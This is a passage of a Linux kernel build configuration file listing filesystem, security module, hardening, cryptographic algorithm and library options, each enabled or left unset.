# CONFIG_OVERLAY_FS_METACOPY is not set
CONFIG_OVERLAY_FS_DEBUG=y

#
# Caches
#
CONFIG_NETFS_SUPPORT=y
# CONFIG_NETFS_STATS is not set
# CONFIG_NETFS_DEBUG is not set
CONFIG_FSCACHE=y
# CONFIG_FSCACHE_STATS is not set
CONFIG_CACHEFILES=y
# CONFIG_CACHEFILES_DEBUG is not set
# CONFIG_CACHEFILES_ERROR_INJECTION is not set
# end of Caches

#
# CD-ROM/DVD Filesystems
#
CONFIG_ISO9660_FS=y
CONFIG_JOLIET=y
CONFIG_ZISOFS=y
CONFIG_UDF_FS=y
# end of CD-ROM/DVD Filesystems

#
# DOS/FAT/EXFAT/NT Filesystems
#
CONFIG_FAT_FS=y
CONFIG_MSDOS_FS=y
CONFIG_VFAT_FS=y
CONFIG_FAT_DEFAULT_CODEPAGE=437
CONFIG_FAT_DEFAULT_IOCHARSET="iso8859-1"
# CONFIG_FAT_DEFAULT_UTF8 is not set
CONFIG_EXFAT_FS=y
CONFIG_EXFAT_DEFAULT_IOCHARSET="utf8"
# CONFIG_NTFS_FS is not set
CONFIG_NTFS3_FS=y
# CONFIG_NTFS3_64BIT_CLUSTER is not set
CONFIG_NTFS3_LZX_XPRESS=y
CONFIG_NTFS3_FS_POSIX_ACL=y
# end of DOS/FAT/EXFAT/NT Filesystems

#
# Pseudo filesystems
#
CONFIG_PROC_FS=y
CONFIG_PROC_KCORE=y
CONFIG_PROC_VMCORE=y
# CONFIG_PROC_VMCORE_DEVICE_DUMP is not set
CONFIG_SYSCTL=y
CONFIG_PROC_PAGE_MONITOR=y
CONFIG_PROC_CHILDREN=y
CONFIG_PROC_PID_ARCH_STATUS=y
CONFIG_KERNFS=y
CONFIG_SYSFS=y
CONFIG_TMPFS=y
CONFIG_TMPFS_POSIX_ACL=y
CONFIG_TMPFS_XATTR=y
# CONFIG_TMPFS_INODE64 is not set
CONFIG_TMPFS_QUOTA=y
CONFIG_ARCH_SUPPORTS_HUGETLBFS=y
CONFIG_HUGETLBFS=y
# CONFIG_HUGETLB_PAGE_OPTIMIZE_VMEMMAP_DEFAULT_ON is not set
CONFIG_HUGETLB_PAGE=y
CONFIG_HUGETLB_PAGE_OPTIMIZE_VMEMMAP=y
CONFIG_HUGETLB_PMD_PAGE_TABLE_SHARING=y
CONFIG_ARCH_HAS_GIGANTIC_PAGE=y
CONFIG_CONFIGFS_FS=y
# end of Pseudo filesystems

CONFIG_MISC_FILESYSTEMS=y
CONFIG_ORANGEFS_FS=y
CONFIG_ADFS_FS=y
# CONFIG_ADFS_FS_RW is not set
CONFIG_AFFS_FS=y
CONFIG_ECRYPT_FS=y
CONFIG_ECRYPT_FS_MESSAGING=y
CONFIG_HFS_FS=y
CONFIG_HFSPLUS_FS=y
CONFIG_BEFS_FS=y
# CONFIG_BEFS_DEBUG is not set
CONFIG_BFS_FS=y
CONFIG_JFFS2_FS=y
CONFIG_JFFS2_FS_DEBUG=0
CONFIG_JFFS2_FS_WRITEBUFFER=y
# CONFIG_JFFS2_FS_WBUF_VERIFY is not set
CONFIG_JFFS2_SUMMARY=y
CONFIG_JFFS2_FS_XATTR=y
CONFIG_JFFS2_FS_POSIX_ACL=y
CONFIG_JFFS2_FS_SECURITY=y
CONFIG_JFFS2_COMPRESSION_OPTIONS=y
CONFIG_JFFS2_ZLIB=y
CONFIG_JFFS2_LZO=y
CONFIG_JFFS2_RTIME=y
CONFIG_JFFS2_RUBIN=y
# CONFIG_JFFS2_CMODE_NONE is not set
CONFIG_JFFS2_CMODE_PRIORITY=y
# CONFIG_JFFS2_CMODE_SIZE is not set
# CONFIG_JFFS2_CMODE_FAVOURLZO is not set
CONFIG_UBIFS_FS=y
CONFIG_UBIFS_FS_ADVANCED_COMPR=y
CONFIG_UBIFS_FS_LZO=y
CONFIG_UBIFS_FS_ZLIB=y
CONFIG_UBIFS_FS_ZSTD=y
CONFIG_UBIFS_ATIME_SUPPORT=y
CONFIG_UBIFS_FS_XATTR=y
CONFIG_UBIFS_FS_SECURITY=y
# CONFIG_UBIFS_FS_AUTHENTICATION is not set
CONFIG_CRAMFS=y
CONFIG_CRAMFS_BLOCKDEV=y
CONFIG_CRAMFS_MTD=y
CONFIG_SQUASHFS=y
# CONFIG_SQUASHFS_FILE_CACHE is not set
CONFIG_SQUASHFS_FILE_DIRECT=y
CONFIG_SQUASHFS_DECOMP_MULTI=y
# CONFIG_SQUASHFS_CHOICE_DECOMP_BY_MOUNT is not set
# CONFIG_SQUASHFS_COMPILE_DECOMP_SINGLE is not set
CONFIG_SQUASHFS_COMPILE_DECOMP_MULTI=y
# CONFIG_SQUASHFS_COMPILE_DECOMP_MULTI_PERCPU is not set
# CONFIG_SQUASHFS_MOUNT_DECOMP_THREADS is not set
CONFIG_SQUASHFS_XATTR=y
# CONFIG_SQUASHFS_COMP_CACHE_FULL is not set
CONFIG_SQUASHFS_ZLIB=y
CONFIG_SQUASHFS_LZ4=y
CONFIG_SQUASHFS_LZO=y
CONFIG_SQUASHFS_XZ=y
CONFIG_SQUASHFS_ZSTD=y
CONFIG_SQUASHFS_4K_DEVBLK_SIZE=y
# CONFIG_SQUASHFS_EMBEDDED is not set
CONFIG_SQUASHFS_FRAGMENT_CACHE_SIZE=3
CONFIG_MINIX_FS=y
CONFIG_OMFS_FS=y
CONFIG_HPFS_FS=y
CONFIG_QNX4FS_FS=y
CONFIG_QNX6FS_FS=y
# CONFIG_QNX6FS_DEBUG is not set
CONFIG_ROMFS_FS=y
# CONFIG_ROMFS_BACKED_BY_BLOCK is not set
# CONFIG_ROMFS_BACKED_BY_MTD is not set
CONFIG_ROMFS_BACKED_BY_BOTH=y
CONFIG_ROMFS_ON_BLOCK=y
CONFIG_ROMFS_ON_MTD=y
CONFIG_PSTORE=y
CONFIG_PSTORE_DEFAULT_KMSG_BYTES=10240
CONFIG_PSTORE_COMPRESS=y
# CONFIG_PSTORE_CONSOLE is not set
# CONFIG_PSTORE_PMSG is not set
# CONFIG_PSTORE_RAM is not set
# CONFIG_PSTORE_BLK is not set
CONFIG_UFS_FS=y
CONFIG_UFS_FS_WRITE=y
# CONFIG_UFS_DEBUG is not set
CONFIG_EROFS_FS=y
# CONFIG_EROFS_FS_DEBUG is not set
CONFIG_EROFS_FS_XATTR=y
CONFIG_EROFS_FS_POSIX_ACL=y
CONFIG_EROFS_FS_SECURITY=y
# CONFIG_EROFS_FS_BACKED_BY_FILE is not set
CONFIG_EROFS_FS_ZIP=y
# CONFIG_EROFS_FS_ZIP_LZMA is not set
# CONFIG_EROFS_FS_ZIP_DEFLATE is not set
# CONFIG_EROFS_FS_ZIP_ZSTD is not set
# CONFIG_EROFS_FS_ZIP_ACCEL is not set
# CONFIG_EROFS_FS_PCPU_KTHREAD is not set
# CONFIG_EROFS_FS_PAGE_CACHE_SHARE is not set
CONFIG_NETWORK_FILESYSTEMS=y
CONFIG_NFS_FS=y
# CONFIG_NFS_V2 is not set
CONFIG_NFS_V3=y
CONFIG_NFS_V3_ACL=y
CONFIG_NFS_V4=y
# CONFIG_NFS_SWAP is not set
CONFIG_NFS_V4_0=y
CONFIG_NFS_V4_2=y
CONFIG_PNFS_FILE_LAYOUT=y
CONFIG_PNFS_BLOCK=y
CONFIG_PNFS_FLEXFILE_LAYOUT=y
CONFIG_NFS_V4_1_IMPLEMENTATION_ID_DOMAIN="kernel.org"
# CONFIG_NFS_V4_1_MIGRATION is not set
CONFIG_NFS_V4_SECURITY_LABEL=y
CONFIG_ROOT_NFS=y
CONFIG_NFS_FSCACHE=y
# CONFIG_NFS_USE_LEGACY_DNS is not set
CONFIG_NFS_USE_KERNEL_DNS=y
# CONFIG_NFS_DISABLE_UDP_SUPPORT is not set
CONFIG_NFS_V4_2_READ_PLUS=y
CONFIG_NFSD=y
# CONFIG_NFSD_V2 is not set
CONFIG_NFSD_V3_ACL=y
CONFIG_NFSD_V4=y
CONFIG_NFSD_PNFS=y
CONFIG_NFSD_BLOCKLAYOUT=y
CONFIG_NFSD_SCSILAYOUT=y
CONFIG_NFSD_FLEXFILELAYOUT=y
CONFIG_NFSD_V4_2_INTER_SSC=y
CONFIG_NFSD_V4_SECURITY_LABEL=y
# CONFIG_NFSD_LEGACY_CLIENT_TRACKING is not set
# CONFIG_NFSD_V4_POSIX_ACLS is not set
CONFIG_GRACE_PERIOD=y
CONFIG_LOCKD=y
CONFIG_LOCKD_V4=y
CONFIG_NFS_ACL_SUPPORT=y
CONFIG_NFS_COMMON=y
# CONFIG_NFS_LOCALIO is not set
CONFIG_NFS_V4_2_SSC_HELPER=y
CONFIG_SUNRPC=y
CONFIG_SUNRPC_GSS=y
CONFIG_SUNRPC_BACKCHANNEL=y
CONFIG_RPCSEC_GSS_KRB5=y
# CONFIG_SUNRPC_DEBUG is not set
# CONFIG_SUNRPC_XPRT_RDMA is not set
CONFIG_CEPH_FS=y
CONFIG_CEPH_FSCACHE=y
CONFIG_CEPH_FS_POSIX_ACL=y
# CONFIG_CEPH_FS_SECURITY_LABEL is not set
CONFIG_CIFS=y
# CONFIG_CIFS_STATS2 is not set
CONFIG_CIFS_ALLOW_INSECURE_LEGACY=y
CONFIG_CIFS_UPCALL=y
CONFIG_CIFS_XATTR=y
CONFIG_CIFS_POSIX=y
CONFIG_CIFS_DEBUG=y
# CONFIG_CIFS_DEBUG2 is not set
# CONFIG_CIFS_DEBUG_DUMP_KEYS is not set
CONFIG_CIFS_DFS_UPCALL=y
CONFIG_CIFS_SWN_UPCALL=y
CONFIG_CIFS_SMB_DIRECT=y
CONFIG_CIFS_FSCACHE=y
# CONFIG_CIFS_ROOT is not set
# CONFIG_CIFS_COMPRESSION is not set
CONFIG_SMB_SERVER=y
# CONFIG_SMB_SERVER_SMBDIRECT is not set
# CONFIG_SMB_SERVER_CHECK_CAP_NET_ADMIN is not set
# CONFIG_SMB_SERVER_KERBEROS5 is not set
CONFIG_SMBDIRECT=y
CONFIG_SMBFS=y
# CONFIG_CODA_FS is not set
CONFIG_AFS_FS=y
# CONFIG_AFS_DEBUG is not set
CONFIG_AFS_FSCACHE=y
# CONFIG_AFS_DEBUG_CURSOR is not set
CONFIG_9P_FS=y
CONFIG_9P_FSCACHE=y
CONFIG_9P_FS_POSIX_ACL=y
CONFIG_9P_FS_SECURITY=y
CONFIG_NLS=y
CONFIG_NLS_DEFAULT="utf8"
CONFIG_NLS_CODEPAGE_437=y
CONFIG_NLS_CODEPAGE_737=y
CONFIG_NLS_CODEPAGE_775=y
CONFIG_NLS_CODEPAGE_850=y
CONFIG_NLS_CODEPAGE_852=y
CONFIG_NLS_CODEPAGE_855=y
CONFIG_NLS_CODEPAGE_857=y
CONFIG_NLS_CODEPAGE_860=y
CONFIG_NLS_CODEPAGE_861=y
CONFIG_NLS_CODEPAGE_862=y
CONFIG_NLS_CODEPAGE_863=y
CONFIG_NLS_CODEPAGE_864=y
CONFIG_NLS_CODEPAGE_865=y
CONFIG_NLS_CODEPAGE_866=y
CONFIG_NLS_CODEPAGE_869=y
CONFIG_NLS_CODEPAGE_936=y
CONFIG_NLS_CODEPAGE_950=y
CONFIG_NLS_CODEPAGE_932=y
CONFIG_NLS_CODEPAGE_949=y
CONFIG_NLS_CODEPAGE_874=y
CONFIG_NLS_ISO8859_8=y
CONFIG_NLS_CODEPAGE_1250=y
CONFIG_NLS_CODEPAGE_1251=y
CONFIG_NLS_ASCII=y
CONFIG_NLS_ISO8859_1=y
CONFIG_NLS_ISO8859_2=y
CONFIG_NLS_ISO8859_3=y
CONFIG_NLS_ISO8859_4=y
CONFIG_NLS_ISO8859_5=y
CONFIG_NLS_ISO8859_6=y
CONFIG_NLS_ISO8859_7=y
CONFIG_NLS_ISO8859_9=y
CONFIG_NLS_ISO8859_13=y
CONFIG_NLS_ISO8859_14=y
CONFIG_NLS_ISO8859_15=y
CONFIG_NLS_KOI8_R=y
CONFIG_NLS_KOI8_U=y
CONFIG_NLS_MAC_ROMAN=y
CONFIG_NLS_MAC_CELTIC=y
CONFIG_NLS_MAC_CENTEURO=y
CONFIG_NLS_MAC_CROATIAN=y
CONFIG_NLS_MAC_CYRILLIC=y
CONFIG_NLS_MAC_GAELIC=y
CONFIG_NLS_MAC_GREEK=y
CONFIG_NLS_MAC_ICELAND=y
CONFIG_NLS_MAC_INUIT=y
CONFIG_NLS_MAC_ROMANIAN=y
CONFIG_NLS_MAC_TURKISH=y
CONFIG_NLS_UTF8=y
CONFIG_NLS_UCS2_UTILS=y
CONFIG_DLM=y
# CONFIG_DLM_DEBUG is not set
CONFIG_UNICODE=y
CONFIG_IO_WQ=y
# end of File systems

#
# Security options
#
CONFIG_KEYS=y
CONFIG_KEYS_REQUEST_CACHE=y
CONFIG_PERSISTENT_KEYRINGS=y
CONFIG_BIG_KEYS=y
CONFIG_TRUSTED_KEYS=y
# CONFIG_TRUSTED_KEYS_TPM is not set
# CONFIG_TRUSTED_KEYS_TEE is not set

#
# No trust source selected!
#
CONFIG_ENCRYPTED_KEYS=y
# CONFIG_USER_DECRYPTED_DATA is not set
CONFIG_KEY_DH_OPERATIONS=y
CONFIG_KEY_NOTIFICATIONS=y
# CONFIG_SECURITY_DMESG_RESTRICT is not set
# CONFIG_PROC_MEM_ALWAYS_FORCE is not set
CONFIG_PROC_MEM_FORCE_PTRACE=y
# CONFIG_PROC_MEM_NO_FORCE is not set
CONFIG_SECURITY=y
CONFIG_HAS_SECURITY_AUDIT=y
CONFIG_SECURITYFS=y
CONFIG_SECURITY_NETWORK=y
CONFIG_SECURITY_INFINIBAND=y
CONFIG_SECURITY_NETWORK_XFRM=y
CONFIG_SECURITY_PATH=y
# CONFIG_INTEL_TXT is not set
CONFIG_LSM_MMAP_MIN_ADDR=65536
# CONFIG_STATIC_USERMODEHELPER is not set
CONFIG_SECURITY_SELINUX=y
CONFIG_SECURITY_SELINUX_BOOTPARAM=y
CONFIG_SECURITY_SELINUX_DEVELOP=y
CONFIG_SECURITY_SELINUX_AVC_STATS=y
CONFIG_SECURITY_SELINUX_SIDTAB_HASH_BITS=9
CONFIG_SECURITY_SELINUX_SID2STR_CACHE_SIZE=256
CONFIG_SECURITY_SELINUX_AVC_HASH_BITS=9
# CONFIG_SECURITY_SELINUX_DEBUG is not set
# CONFIG_SECURITY_SMACK is not set
CONFIG_SECURITY_TOMOYO=y
CONFIG_SECURITY_TOMOYO_MAX_ACCEPT_ENTRY=64
CONFIG_SECURITY_TOMOYO_MAX_AUDIT_LOG=32
CONFIG_SECURITY_TOMOYO_OMIT_USERSPACE_LOADER=y
CONFIG_SECURITY_TOMOYO_INSECURE_BUILTIN_SETTING=y
# CONFIG_SECURITY_APPARMOR is not set
# CONFIG_SECURITY_LOADPIN is not set
CONFIG_SECURITY_YAMA=y
CONFIG_SECURITY_SAFESETID=y
CONFIG_SECURITY_LOCKDOWN_LSM=y
CONFIG_SECURITY_LOCKDOWN_LSM_EARLY=y
CONFIG_LOCK_DOWN_KERNEL_FORCE_NONE=y
# CONFIG_LOCK_DOWN_KERNEL_FORCE_INTEGRITY is not set
# CONFIG_LOCK_DOWN_KERNEL_FORCE_CONFIDENTIALITY is not set
CONFIG_SECURITY_LANDLOCK=y
CONFIG_SECURITY_LANDLOCK_LOG=y
# CONFIG_SECURITY_IPE is not set
CONFIG_INTEGRITY=y
CONFIG_INTEGRITY_SIGNATURE=y
CONFIG_INTEGRITY_ASYMMETRIC_KEYS=y
CONFIG_INTEGRITY_TRUSTED_KEYRING=y
CONFIG_INTEGRITY_AUDIT=y
CONFIG_IMA=y
CONFIG_IMA_MEASURE_PCR_IDX=10
CONFIG_IMA_LSM_RULES=y
CONFIG_IMA_NG_TEMPLATE=y
# CONFIG_IMA_SIG_TEMPLATE is not set
CONFIG_IMA_DEFAULT_TEMPLATE="ima-ng"
# CONFIG_IMA_DEFAULT_HASH_SHA1 is not set
CONFIG_IMA_DEFAULT_HASH_SHA256=y
# CONFIG_IMA_DEFAULT_HASH_SHA512 is not set
# CONFIG_IMA_DEFAULT_HASH_WP512 is not set
CONFIG_IMA_DEFAULT_HASH="sha256"
CONFIG_IMA_WRITE_POLICY=y
CONFIG_IMA_READ_POLICY=y
CONFIG_IMA_APPRAISE=y
# CONFIG_IMA_ARCH_POLICY is not set
# CONFIG_IMA_APPRAISE_BUILD_POLICY is not set
# CONFIG_IMA_APPRAISE_BOOTPARAM is not set
CONFIG_IMA_APPRAISE_MODSIG=y
# CONFIG_IMA_KEYRINGS_PERMIT_SIGNED_BY_BUILTIN_OR_SECONDARY is not set
# CONFIG_IMA_BLACKLIST_KEYRING is not set
# CONFIG_IMA_LOAD_X509 is not set
CONFIG_IMA_MEASURE_ASYMMETRIC_KEYS=y
CONFIG_IMA_QUEUE_EARLY_BOOT_KEYS=y
# CONFIG_IMA_DISABLE_HTABLE is not set
# CONFIG_IMA_STAGING is not set
# CONFIG_IMA_INIT_LATE_SYNC is not set
CONFIG_EVM=y
CONFIG_EVM_ATTR_FSUUID=y
CONFIG_EVM_ADD_XATTRS=y
# CONFIG_EVM_LOAD_X509 is not set
CONFIG_DEFAULT_SECURITY_SELINUX=y
# CONFIG_DEFAULT_SECURITY_TOMOYO is not set
# CONFIG_DEFAULT_SECURITY_DAC is not set
CONFIG_LSM="landlock,lockdown,yama,safesetid,integrity,tomoyo,selinux,bpf"

#
# Kernel hardening options
#

#
# Memory initialization
#
CONFIG_CC_HAS_AUTO_VAR_INIT_PATTERN=y
CONFIG_CC_HAS_AUTO_VAR_INIT_ZERO_BARE=y
CONFIG_CC_HAS_AUTO_VAR_INIT_ZERO=y
# CONFIG_INIT_STACK_NONE is not set
# CONFIG_INIT_STACK_ALL_PATTERN is not set
CONFIG_INIT_STACK_ALL_ZERO=y
CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y
# CONFIG_INIT_ON_FREE_DEFAULT_ON is not set
CONFIG_CC_HAS_ZERO_CALL_USED_REGS=y
# CONFIG_ZERO_CALL_USED_REGS is not set
# end of Memory initialization

#
# Bounds checking
#
CONFIG_FORTIFY_SOURCE=y
CONFIG_HARDENED_USERCOPY=y
# CONFIG_HARDENED_USERCOPY_DEFAULT_ON is not set
# end of Bounds checking

#
# Hardening of kernel data structures
#
CONFIG_LIST_HARDENED=y
CONFIG_BUG_ON_DATA_CORRUPTION=y
# end of Hardening of kernel data structures

CONFIG_RANDSTRUCT_NONE=y
# end of Kernel hardening options
# end of Security options

CONFIG_ASYNC_CORE=y
CONFIG_ASYNC_MEMCPY=y
CONFIG_ASYNC_XOR=y
CONFIG_ASYNC_PQ=y
CONFIG_ASYNC_RAID6_RECOV=y
CONFIG_CRYPTO=y

#
# Crypto core or helper
#
CONFIG_CRYPTO_ALGAPI=y
CONFIG_CRYPTO_ALGAPI2=y
CONFIG_CRYPTO_AEAD=y
CONFIG_CRYPTO_AEAD2=y
CONFIG_CRYPTO_SIG=y
CONFIG_CRYPTO_SIG2=y
CONFIG_CRYPTO_SKCIPHER=y
CONFIG_CRYPTO_SKCIPHER2=y
CONFIG_CRYPTO_HASH=y
CONFIG_CRYPTO_HASH2=y
CONFIG_CRYPTO_RNG=y
CONFIG_CRYPTO_RNG2=y
CONFIG_CRYPTO_AKCIPHER2=y
CONFIG_CRYPTO_AKCIPHER=y
CONFIG_CRYPTO_KPP2=y
CONFIG_CRYPTO_KPP=y
CONFIG_CRYPTO_ACOMP2=y
CONFIG_CRYPTO_ACOMP=y
CONFIG_CRYPTO_MANAGER=y
CONFIG_CRYPTO_MANAGER2=y
CONFIG_CRYPTO_USER=y
# CONFIG_CRYPTO_SELFTESTS is not set
CONFIG_CRYPTO_NULL=y
CONFIG_CRYPTO_PCRYPT=y
# CONFIG_CRYPTO_CRYPTD is not set
CONFIG_CRYPTO_AUTHENC=y
CONFIG_CRYPTO_KRB5ENC=y
# CONFIG_CRYPTO_BENCHMARK is not set
CONFIG_CRYPTO_ENGINE=y
# end of Crypto core or helper

#
# Public-key cryptography
#
CONFIG_CRYPTO_RSA=y
CONFIG_CRYPTO_DH=y
# CONFIG_CRYPTO_DH_RFC7919_GROUPS is not set
CONFIG_CRYPTO_ECC=y
CONFIG_CRYPTO_ECDH=y
# CONFIG_CRYPTO_ECDSA is not set
CONFIG_CRYPTO_ECRDSA=y
CONFIG_CRYPTO_MLDSA=y
# end of Public-key cryptography

#
# Block ciphers
#
CONFIG_CRYPTO_AES=y
CONFIG_CRYPTO_ANUBIS=y
CONFIG_CRYPTO_ARIA=y
CONFIG_CRYPTO_BLOWFISH=y
CONFIG_CRYPTO_BLOWFISH_COMMON=y
CONFIG_CRYPTO_CAMELLIA=y
CONFIG_CRYPTO_CAST_COMMON=y
CONFIG_CRYPTO_CAST5=y
CONFIG_CRYPTO_CAST6=y
CONFIG_CRYPTO_DES=y
CONFIG_CRYPTO_KHAZAD=y
CONFIG_CRYPTO_SEED=y
CONFIG_CRYPTO_SERPENT=y
CONFIG_CRYPTO_SM4=y
CONFIG_CRYPTO_SM4_GENERIC=y
CONFIG_CRYPTO_TEA=y
CONFIG_CRYPTO_TWOFISH=y
CONFIG_CRYPTO_TWOFISH_COMMON=y
# end of Block ciphers

#
# Length-preserving ciphers and modes
#
CONFIG_CRYPTO_ADIANTUM=y
CONFIG_CRYPTO_ARC4=y
CONFIG_CRYPTO_CHACHA20=y
CONFIG_CRYPTO_CBC=y
CONFIG_CRYPTO_CTR=y
CONFIG_CRYPTO_CTS=y
CONFIG_CRYPTO_ECB=y
CONFIG_CRYPTO_HCTR2=y
CONFIG_CRYPTO_LRW=y
CONFIG_CRYPTO_XCTR=y
CONFIG_CRYPTO_XTS=y
# end of Length-preserving ciphers and modes

#
# AEAD (authenticated encryption with associated data) ciphers
#
CONFIG_CRYPTO_AEGIS128=y
CONFIG_CRYPTO_CHACHA20POLY1305=y
CONFIG_CRYPTO_CCM=y
CONFIG_CRYPTO_GCM=y
CONFIG_CRYPTO_GENIV=y
CONFIG_CRYPTO_SEQIV=y
CONFIG_CRYPTO_ECHAINIV=y
CONFIG_CRYPTO_ESSIV=y
# end of AEAD (authenticated encryption with associated data) ciphers

#
# Hashes, digests, and MACs
#
# CONFIG_CRYPTO_BLAKE2B is not set
CONFIG_CRYPTO_CMAC=y
CONFIG_CRYPTO_HMAC=y
# CONFIG_CRYPTO_MD4 is not set
# CONFIG_CRYPTO_MD5 is not set
CONFIG_CRYPTO_RMD160=y
CONFIG_CRYPTO_SHA1=y
CONFIG_CRYPTO_SHA256=y
CONFIG_CRYPTO_SHA512=y
CONFIG_CRYPTO_SHA3=y
# CONFIG_CRYPTO_SM3 is not set
CONFIG_CRYPTO_STREEBOG=y
CONFIG_CRYPTO_WP512=y
CONFIG_CRYPTO_XCBC=y
# CONFIG_CRYPTO_XXHASH is not set
# end of Hashes, digests, and MACs

#
# CRCs (cyclic redundancy checks)
#
# CONFIG_CRYPTO_CRC32C is not set
# CONFIG_CRYPTO_CRC32 is not set
# end of CRCs (cyclic redundancy checks)

#
# Compression
#
CONFIG_CRYPTO_DEFLATE=y
CONFIG_CRYPTO_LZO=y
CONFIG_CRYPTO_842=y
CONFIG_CRYPTO_LZ4=y
CONFIG_CRYPTO_LZ4HC=y
CONFIG_CRYPTO_ZSTD=y
# end of Compression

#
# Random number generation
#
# CONFIG_CRYPTO_DRBG is not set
# CONFIG_CRYPTO_JITTERENTROPY is not set
CONFIG_CRYPTO_KDF800108_CTR=y
# end of Random number generation

#
# Userspace interface (deprecated)
#
CONFIG_CRYPTO_USER_API=y
CONFIG_CRYPTO_USER_API_HASH=y
CONFIG_CRYPTO_USER_API_SKCIPHER=y
CONFIG_CRYPTO_USER_API_RNG=y
CONFIG_CRYPTO_USER_API_AEAD=y
CONFIG_CRYPTO_USER_API_ENABLE_OBSOLETE=y
# end of Userspace interface (deprecated)

#
# Accelerated Cryptographic Algorithms for CPU (x86)
#
CONFIG_CRYPTO_AES_NI_INTEL=y
CONFIG_CRYPTO_BLOWFISH_X86_64=y
CONFIG_CRYPTO_CAMELLIA_X86_64=y
CONFIG_CRYPTO_CAMELLIA_AESNI_AVX_X86_64=y
CONFIG_CRYPTO_CAMELLIA_AESNI_AVX2_X86_64=y
CONFIG_CRYPTO_CAST5_AVX_X86_64=y
CONFIG_CRYPTO_CAST6_AVX_X86_64=y
CONFIG_CRYPTO_SERPENT_SSE2_X86_64=y
CONFIG_CRYPTO_SERPENT_AVX_X86_64=y
CONFIG_CRYPTO_SERPENT_AVX2_X86_64=y
CONFIG_CRYPTO_SM4_AESNI_AVX_X86_64=y
CONFIG_CRYPTO_SM4_AESNI_AVX2_X86_64=y
CONFIG_CRYPTO_TWOFISH_X86_64=y
CONFIG_CRYPTO_TWOFISH_X86_64_3WAY=y
CONFIG_CRYPTO_TWOFISH_AVX_X86_64=y
CONFIG_CRYPTO_ARIA_AESNI_AVX_X86_64=y
# CONFIG_CRYPTO_ARIA_AESNI_AVX2_X86_64 is not set
# CONFIG_CRYPTO_ARIA_GFNI_AVX512_X86_64 is not set
CONFIG_CRYPTO_AEGIS128_AESNI_SSE2=y
# end of Accelerated Cryptographic Algorithms for CPU (x86)

CONFIG_CRYPTO_HW=y
CONFIG_CRYPTO_DEV_PADLOCK=y
CONFIG_CRYPTO_DEV_PADLOCK_AES=y
CONFIG_CRYPTO_DEV_PADLOCK_SHA=y
# CONFIG_CRYPTO_DEV_ATMEL_ECC is not set
# CONFIG_CRYPTO_DEV_ATMEL_SHA204A is not set
CONFIG_CRYPTO_DEV_CCP=y
CONFIG_CRYPTO_DEV_CCP_DD=y
# CONFIG_CRYPTO_DEV_SP_CCP is not set
# CONFIG_CRYPTO_DEV_SP_PSP is not set
# CONFIG_CRYPTO_DEV_NITROX_CNN55XX is not set
CONFIG_CRYPTO_DEV_QAT=y
CONFIG_CRYPTO_DEV_QAT_DH895xCC=y
CONFIG_CRYPTO_DEV_QAT_C3XXX=y
CONFIG_CRYPTO_DEV_QAT_C62X=y
# CONFIG_CRYPTO_DEV_QAT_4XXX is not set
# CONFIG_CRYPTO_DEV_QAT_420XX is not set
# CONFIG_CRYPTO_DEV_QAT_6XXX is not set
CONFIG_CRYPTO_DEV_QAT_DH895xCCVF=y
CONFIG_CRYPTO_DEV_QAT_C3XXXVF=y
CONFIG_CRYPTO_DEV_QAT_C62XVF=y
# CONFIG_CRYPTO_DEV_QAT_ERROR_INJECTION is not set
CONFIG_CRYPTO_DEV_VIRTIO=y
# CONFIG_CRYPTO_DEV_SAFEXCEL is not set
# CONFIG_CRYPTO_DEV_CCREE is not set
# CONFIG_CRYPTO_DEV_AMLOGIC_GXL is not set
CONFIG_ASYMMETRIC_KEY_TYPE=y
CONFIG_ASYMMETRIC_PUBLIC_KEY_SUBTYPE=y
CONFIG_X509_CERTIFICATE_PARSER=y
CONFIG_PKCS8_PRIVATE_KEY_PARSER=y
CONFIG_PKCS7_MESSAGE_PARSER=y
# CONFIG_PKCS7_WAIVE_AUTHATTRS_REJECTION_FOR_MLDSA is not set
CONFIG_PKCS7_TEST_KEY=y
CONFIG_SIGNED_PE_FILE_VERIFICATION=y
# CONFIG_FIPS_SIGNATURE_SELFTEST is not set

#
# Certificates for signature checking
#
CONFIG_MODULE_SIG_KEY="certs/signing_key.pem"
# CONFIG_MODULE_SIG_KEY_TYPE_RSA is not set
CONFIG_MODULE_SIG_KEY_TYPE_MLDSA_44=y
# CONFIG_MODULE_SIG_KEY_TYPE_MLDSA_65 is not set
# CONFIG_MODULE_SIG_KEY_TYPE_MLDSA_87 is not set
CONFIG_SYSTEM_TRUSTED_KEYRING=y
CONFIG_SYSTEM_TRUSTED_KEYS=""
# CONFIG_SYSTEM_EXTRA_CERTIFICATE is not set
CONFIG_SECONDARY_TRUSTED_KEYRING=y
# CONFIG_SECONDARY_TRUSTED_KEYRING_SIGNED_BY_BUILTIN is not set
# CONFIG_SYSTEM_BLACKLIST_KEYRING is not set
CONFIG_OPENSSL_SUPPORTS_ML_DSA=y
# end of Certificates for signature checking

CONFIG_CRYPTO_KRB5=y
# CONFIG_CRYPTO_KRB5_SELFTESTS is not set
CONFIG_BINARY_PRINTF=y

#
# Library routines
#
CONFIG_LINEAR_RANGES=y
# CONFIG_PACKING is not set
CONFIG_BITREVERSE=y
CONFIG_GENERIC_BITREVERSE=y
CONFIG_GENERIC_STRNCPY_FROM_USER=y
CONFIG_GENERIC_STRNLEN_USER=y
CONFIG_GENERIC_NET_UTILS=y
# CONFIG_CORDIC is not set
# CONFIG_PRIME_NUMBERS is not set
CONFIG_RATIONAL=y
CONFIG_GENERIC_IOMAP=y
CONFIG_ARCH_USE_CMPXCHG_LOCKREF=y
CONFIG_ARCH_HAS_FAST_MULTIPLIER=y
CONFIG_ARCH_USE_SYM_ANNOTATIONS=y
CONFIG_CRC8=y
CONFIG_CRC16=y
CONFIG_CRC_CCITT=y
CONFIG_CRC_ITU_T=y
CONFIG_CRC_T10DIF=y
CONFIG_CRC_T10DIF_ARCH=y
CONFIG_CRC32=y
CONFIG_CRC32_ARCH=y
CONFIG_CRC64=y
CONFIG_CRC64_ARCH=y
CONFIG_CRC_OPTIMIZATIONS=y
CONFIG_CRYPTO_HASH_INFO=y
CONFIG_CRYPTO_LIB_UTILS=y
CONFIG_CRYPTO_LIB_AES=y
CONFIG_CRYPTO_LIB_AES_ARCH=y
CONFIG_CRYPTO_LIB_AES_CBC=y
CONFIG_CRYPTO_LIB_AES_CBC_MACS=y
CONFIG_CRYPTO_LIB_AES_CCM=y
CONFIG_CRYPTO_LIB_AES_CTR=y
CONFIG_CRYPTO_LIB_AES_ECB=y
CONFIG_CRYPTO_LIB_AES_GCM=y
CONFIG_CRYPTO_LIB_AES_XTS=y
CONFIG_CRYPTO_LIB_ARC4=y
